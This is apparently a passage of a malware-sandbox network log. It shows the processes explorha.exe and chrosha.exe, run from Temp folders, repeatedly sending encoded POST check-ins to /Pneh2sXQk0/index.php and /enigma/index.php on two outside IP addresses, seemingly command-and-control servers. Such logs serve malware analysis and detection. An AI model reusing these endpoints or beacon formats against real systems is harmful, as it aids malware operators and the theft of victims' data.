Apr 19, 2024 03:33:29.594042063 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:29.848201036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.5	50614	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:29.994434118 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:30.241482973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.5	50615	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:30.203097105 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:30.443202019 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.5	50616	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:30.494560003 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:30.747695923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.5	50617	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:30.689776897 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:30.938461065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.5	50618	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:31.097949028 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:31.343008995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.5	50619	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:31.309441090 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:31.560916901 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.5	50620	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:31.595381021 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:31.844468117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.5	50621	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:31.813451052 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:32.066518068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.5	50622	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:32.189155102 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:32.428426981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.5	50623	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:32.425911903 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:32.667557001 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.5	50624	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:32.676234961 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:32.925983906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.5	50625	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:32.912648916 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:33.159332037 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.5	50626	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:33.290183067 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:33.538821936 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.5	50627	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:33.515484095 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:33.758330107 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.5	50628	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:33.796787977 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:34.051884890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.5	50629	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:34.006957054 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:34.252691984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.5	50630	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:34.418869019 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:34.667217970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.5	50631	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:34.608730078 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:34.847742081 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.5	50632	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:34.914247990 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:35.162914991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.5	50633	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:35.103662968 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:35.358568907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.5	50634	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:35.522598982 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:35.767996073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.5	50635	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:35.714906931 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:35.963450909 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.5	50636	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
